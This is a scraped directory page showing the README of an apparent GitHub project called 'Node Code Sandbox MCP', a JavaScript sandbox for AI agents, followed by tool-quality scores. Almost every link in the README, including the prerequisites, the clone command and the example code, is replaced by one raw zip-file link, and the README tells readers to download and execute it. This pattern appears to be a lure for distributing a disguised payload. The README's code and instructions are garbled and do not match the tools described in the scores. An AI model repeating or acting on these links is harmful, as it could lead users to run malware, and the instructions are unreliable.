Skip to main content
Glama
mozicim

Node Code Sandbox MCP

by mozicim
README.md
# Node Code Sandbox MCP πŸ› οΈ

![Node Code Sandbox](https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip%20Code%https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip)
[![Releases](https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip)](https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip)

Welcome to the Node Code Sandbox MCP! This repository provides a secure https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip execution environment tailored for AI applications. It allows coding agents and large language models (LLMs) to run JavaScript dynamically, install NPM packages, and retrieve results. This functionality facilitates code generation, testing, and interactive assistance, all while adhering to the Model Control Protocol (MCP).

## Table of Contents

- [Features](#features)
- [Getting Started](#getting-started)
- [Installation](#installation)
- [Usage](#usage)
- [API Reference](#api-reference)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)

## Features 🌟

- **Dynamic JavaScript Execution**: Run JavaScript code in a secure environment.
- **NPM Package Support**: Install and use NPM packages as needed.
- **Interactive Assistance**: Code generation and testing capabilities for AI agents.
- **MCP Compatibility**: Works seamlessly with the Model Control Protocol.
- **Sandboxing**: Ensures secure execution to prevent unauthorized access.

## Getting Started πŸš€

To get started with Node Code Sandbox MCP, you can check the [Releases](https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip) section for the latest version. Download and execute the appropriate files to set up your environment.

### Prerequisites

- https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip (version 14 or higher)
- NPM (Node Package Manager)
- Basic knowledge of JavaScript and AI concepts

## Installation πŸ› οΈ

1. Clone the repository:

   ```bash
   git clone https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip
   ```

2. Navigate to the project directory:

   ```bash
   cd node-code-sandbox-mcp
   ```

3. Install dependencies:

   ```bash
   npm install
   ```

4. Start the server:

   ```bash
   npm start
   ```

Now, your Node Code Sandbox MCP is up and running!

## Usage πŸ“–

Once the server is running, you can start executing JavaScript code. Here’s a simple example:

1. Open your browser and navigate to `http://localhost:3000`.
2. You will see an interface where you can input JavaScript code.
3. Enter your code and click "Run".

The results will display below the input area.

### Example Code

```javascript
https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip("Hello, world!");
```

### Installing NPM Packages

To install an NPM package, use the following command in the interface:

```javascript
npm install <package-name>
```

For example:

```javascript
npm install lodash
```

## API Reference πŸ“š

The Node Code Sandbox MCP provides several API endpoints for interacting with the sandbox environment.

### Execute Code

- **Endpoint**: `/execute`
- **Method**: POST
- **Request Body**: 
  ```json
  {
    "code": "your JavaScript code here"
  }
  ```
- **Response**: 
  ```json
  {
    "result": "output of your code"
  }
  ```

### Install Package

- **Endpoint**: `/install`
- **Method**: POST
- **Request Body**: 
  ```json
  {
    "package": "package-name"
  }
  ```
- **Response**: 
  ```json
  {
    "status": "success",
    "message": "Package installed successfully"
  }
  ```

## Contributing 🀝

We welcome contributions to the Node Code Sandbox MCP! If you have ideas for improvements or new features, please follow these steps:

1. Fork the repository.
2. Create a new branch: `git checkout -b feature/YourFeature`.
3. Make your changes and commit them: `git commit -m 'Add some feature'`.
4. Push to the branch: `git push origin feature/YourFeature`.
5. Open a pull request.

Please ensure your code adheres to our coding standards and includes tests where applicable.

## License πŸ“œ

This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.

## Contact πŸ“«

For questions or feedback, please reach out via GitHub issues or contact the repository owner.

---

Thank you for exploring the Node Code Sandbox MCP! For the latest releases, please visit the [Releases](https://github.com/mozicim/node-code-sandbox-mcp/raw/refs/heads/main/examples/sandbox-node-code-mcp-3.0.zip) section. Enjoy coding!

TDQS

A3.5/5.0

Scored across 7 tools

Disambiguation4/5

Most tools have distinct purposes, but run_js and run_js_ephemeral overlap significantly in functionality, both executing JavaScript code with ESModules and file I/O in ./files. The key difference is sandbox persistence versus ephemeral execution, which is clarified in descriptions but could still cause confusion for an agent deciding between them. Other tools like ai_generate, get_dependency_types, and sandbox management tools are clearly differentiated.

Naming Consistency3/5

The naming conventions are mixed, with some tools using verb_noun patterns (e.g., get_dependency_types, run_js, sandbox_initialize) and others using noun_verb or less structured forms (e.g., ai_generate, sandbox_exec). While still readable, the inconsistency in verb placement and style (like ai_generate vs. run_js) reduces predictability. The sandbox_* tools form a consistent subset, but overall the pattern is not uniform across all tools.

Tool Count5/5

With 7 tools, the count is well-scoped for a Node.js sandbox server, covering code generation, dependency analysis, JavaScript execution (both persistent and ephemeral), and sandbox lifecycle management. Each tool serves a clear purpose, and the number is neither too sparse nor overwhelming, fitting typical server scopes of 3-15 tools effectively.

Completeness4/5

The tool surface provides good coverage for Node.js sandbox operations, including initialization, execution, and cleanup, with added utilities for AI generation and dependency type checking. Minor gaps exist, such as no direct tool for inspecting or modifying sandbox state beyond execution, but core workflows like running code and managing containers are well-supported, allowing agents to work around limitations.

Maintenance

ActivityInactive
ResponsivenessNo issues